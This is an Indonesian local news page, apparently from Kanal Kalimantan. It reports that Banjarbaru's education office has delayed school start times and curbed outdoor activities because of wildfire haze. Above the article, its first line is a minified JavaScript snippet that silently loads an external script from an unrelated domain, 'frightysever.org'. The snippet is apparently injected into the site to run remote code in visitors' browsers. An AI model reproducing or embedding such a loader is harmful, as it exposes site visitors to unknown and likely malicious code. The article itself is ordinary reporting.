(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Semakin tebalnya kabut asap beberapa waktu ini membuat Dinas Pendidikan (Disdik) kota Banjarbaru mengeluarkan kebijakan untuk menggeser jam masuk sekolah. Kebijakan tersebut berlaku selama situasi kabut asap terjadi.
Kepala Dinas Pendidikan Kota Banjarbaru, Muhammad Aswan menjelaskan bahwa kebijakan tersebut telah ditanda tangani melalui surat edaran yang ditujukan kepada para pimpinan (Kepala) PAUD, TK, SD Negeri / Swasta dan SMP Negeri / Swasta serta MTs se-Banjarbaru.
“Sehubungan dengan musim kemarau dan terjadinya kebakaran lahan dibeberapa tempat di Kota Banjarbaru akhir-akhir ini yang menyebabkan kurangnya kualitas udara akibat kabut asap, maka kebijakan ini kita buat sebagai upaya mengantisipasi permasalahan tersebut,” katanya.
Dalam isi surat edaran tersebut, Disdik Banjarbaru menyatakan kepada pihak Sekolah untuk menggeser jam masuk sekolah yang awalnya pukul 07.30 Wita, dimundur menjadi pukul 08.00 wita sampai dengan pukul 09.00 wita sesuai dengan kondisi asap.
Pihak sekolah juga dihimbau untuk mengurangi aktivitas siswa siswi di luar ruangan seperti Upacara, Olahraga, Senam Kesegaran Jasamani (SKJ) dan kegiatan lainnya. Selain itu, siswa-siswi yang berada di luar ruangan diimbau agar menggunakan masker untuk mengurangi dampak gangguan Infeksi Saluran Pernapasan (ISPA) terhadap siswa-siswi tersebut.
“Kita juga meminta pihak Sekolah lebih waspada terutama kepada siswa yang mempunyai riwayat penyakit asma. Sehingga apabila terjadi sesuatu maka sekolah cepat mengambil tindakan,” kata Aswan.
Nantinya, apabila kondisi asap semakin memburuk pihak Sekolah agar dapat langsung berkoondinasi dengan Dinas pendidikan untuk mengambil Iangkah-langkah yang diperlukan.
Ihwal Sekolah akan diliburkan jika kabut asap semakin memburuk, Kadisdik Banjarbaru meminta pihak Sekolah untuk menunggu surat edaran resmi dari pihaknya. “Pihak sekolah kita minta menunggu surat edaran selanjutnya, karena ada pertimbangkan Indeks Standar Pencemaran Udara (ISPU) yang dikeluarkan oleh Dinas Kesehatan setempat,” tegasnya.
Tebalnya kabut asap di Banjarbaru memang telah menimbulkan berbagai dampak. Seperti halnya di sektor penerbangan, yang mana pada Kamis (12/9) pagi lalu, jadwal penerbangan di Bandara Syamsudin Noor harus tertunda (delay). Saat itu, jarak pandang (Visibility) pesawat mencapai di titik terendah yakni 100 meter. (Rico)
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
This website uses cookies.